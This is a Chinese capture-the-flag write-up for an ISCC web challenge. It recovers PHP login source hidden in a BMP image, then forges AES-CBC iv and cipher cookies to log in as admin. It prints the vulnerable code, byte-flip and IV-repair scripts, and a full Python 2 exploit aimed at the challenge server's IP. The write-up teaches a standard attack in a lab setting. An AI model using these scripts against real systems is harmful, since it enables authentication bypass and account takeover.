ISCC客服一号冲冲冲(二)

考点:CBC字节翻转攻击,bmp隐写

进入题目发现就给了一张图片,扫目录,看返回包,没有发现有用信息。

发现图片是个登录框,联想到手动传参登录。尝试get,post最后发现post可以成功发送登录请求,根据题目提示,账户为admin,密码为上一道题的flag:‘1SCC_2o2l_KeFuu’,我这里没用是因为只是为了掩饰,真正打的时候密码得用1SCC_2o2l_KeFuu,然后提示admin账户无法登录。

更换账户尝试,发现响应头中含有iv,cipher。属于CBC字节翻转攻击标志。

现在需要后端的加密源码,尝试寻找源码泄露途径。发现登陆的哪个图片是bmp格式的,bmp存在隐写。下载下来使用工具发现源码就藏在其中,红色部分为泄露的源码。

因为这个隐写只找出了这么点代码,就通过源码特征在网上搜到了全部源码。

整理后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">;
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
</head>
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>

分析登录过程中的逻辑,如果username为admin则禁止登陆,若不为admin则进入login,show_homepage()函数。

如果没有username传入则直接进入check_login()函数和show_homepage()函数

当我们使用非admin账户尝试登陆会直接来到login函数,获得iv,plain,cipher的值并将iv,cipher作为set-cookie显示,将username注册为session变量

来到show_homepage(),检查session变量,不是admin弹出错误信息。

在注册iv,cipher值的时候便存在CBC字节翻转攻击了。CBC字节攻击存在于check_login()函数中,想要进入check_login()函数便要使username参数滞空,带着新的cookie进行请求。

在这一行代码中,进行加密获得序列化数据,这里传入我们更改过的cipher,控制明文,那么$plain就会被破坏,不是一个标准化的序列化数据,那么就会触发报错,使我们得到这个错误的序列化数据,再重新修复iv使得数据能被序列化成功。

1
$plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)

cipher翻转脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-03-15 11:45:57
# @Author : Mr.zhang(s4ad0w.protonmail.com)
# @Link : http://blog.csdn.net/csu_vc
import base64
import requests
import urllib
iv_raw='%2F8iEm4jh%2BjbgVGwlQ31ycg%3D%3D' #这里填写第一次返回的iv值
cipher_raw='8WdhbPxjZy9xYAgoCeghiOUQu0ri1Y3dv7cX44MbvOfIC6zZxCbR%2FPFpeMatL5qIgT%2BYA66tIdCBpxtWsWxV9Q%3D%3D' #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw: " + iv_raw
print "cipher_raw: " + cipher_raw
print "[*]对cipher解码,进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改,原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher:" + xor_cipher

可以看到现在已经泄露了序列化失败的密文。

由于此时的密文已经是由我们修改过的,解密后为:

可以看到,我们传入的用户名是zdmin,而此时变成了admin。是因为我们修改了cipher的一个字节导致成功控制了明文。可是此时由于更改了cipher而iv值更新导致数据块1损坏。我们需要获得新的iv值。

由序列化知识可知此处完整的序列化数据应该为:

a:2:{s:8:”username”;s:5:”admin”;s:8:”password”;s:15:”1SCC_2o2l_KeFuu”;}

修复脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-03-15 11:56:20
# @Author : csu_vc(s4ad0w.protonmail.com)
# @Link : http://blog.csdn.net/csu_vc
import base64
import urllib
cipher = 'Bc6oENSSAEPpPdv/rbqRZG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9'#填写提交后所得的无法反序列化密文
iv = '%2F8iEm4jh%2BjbgVGwlQ31ycg%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):
newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))

再将修复完成的iv,cipher值发送,即可成功序列化绕过服务器验证直接以admin登录。

在check_login()完成攻击,session值为admin,在进入show_homepage()得到flag。

自己写了个利用脚本–python2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import base64
import requests
import urllib
def cipherFilp(cipher,iv):
iv_raw=iv
cipher_raw=cipher
cipher = base64.b64decode(urllib.unquote(cipher_raw))
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:]
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
return xor_cipher

def reqeuests_cipher(headers):
result = requests.post('http://39.96.91.106:8210/',headers=headers)
response = result.text.split('<p>')[1][15:111]
return response
def getNewIv(cipher,iv):
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'
for i in range(16):
newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i]))
return urllib.quote(base64.b64encode(newIv))
def getflag(result):
result = result.split('<p>')
print result[2][0:34]

result = requests.post('http://39.96.91.106:8210/',data={'username':'zdmin','password':'1SCC_2o2l_KeFuu'})
cookies = result.headers['Set-Cookie'].split(',')
PHPSESSID = cookies[0][10:36]
iv = cookies[1][4:]
cipher = cookies[2][8:]
print "Frist cipher is: " + cipher
print "Frist iv is: " + iv
headers = {}
newCipher = cipherFilp(cipher,iv)
print "Filp cipher is "+ newCipher
cookiestr = "PHPSESSID="+PHPSESSID+";"+"iv="+iv+";"+"cipher="+newCipher
headers['cookie']=cookiestr
newCipher2 = reqeuests_cipher(headers)
print newCipher2
print "Serialization failed cipher is "+ newCipher2
print "Serialization data is " + base64.b64decode(newCipher2)
newIv = getNewIv(newCipher2,iv)
print "repair iv is "+ newIv
headers['cookie'] = ''
cookiestr = "PHPSESSID="+PHPSESSID+";"+"iv="+newIv+";"+"cipher="+newCipher
headers['cookie'] = str(cookiestr)
result = requests.get('http://39.96.91.106:8210/',headers=headers)
getflag(result.text)

运行结果:可以看到每次变动的iv和cipher,损坏后的序列化数据以及最后的flag。